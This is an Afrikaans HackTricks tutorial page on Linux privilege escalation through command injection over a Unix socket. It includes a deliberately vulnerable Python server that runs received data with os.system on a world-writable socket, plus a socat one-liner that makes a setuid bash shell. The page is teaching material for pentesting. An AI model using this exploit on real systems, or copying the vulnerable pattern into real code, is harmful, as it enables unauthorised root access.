hacktricks/linux-hardening/privilege-escalation/socket-command-injection.md
2024-02-11 02:07:06 +00:00

3.6 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Voorbeeld van sokkelbinding met Python

In die volgende voorbeeld word 'n Unix-sokkel geskep (/tmp/socket_test.s) en alles wat ontvang word, sal uitgevoer word deur os.system. Ek weet dat jy dit nie in die wild gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe 'n kode wat Unix-sokkels gebruik, lyk, en hoe om die inset in die ergste geval te hanteer.

{% code title="s.py" %}

import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

{% endcode %}

Voer die kode uit met behulp van Python: python s.py en kontroleer hoe die sokket luister:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Uitbuiting

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: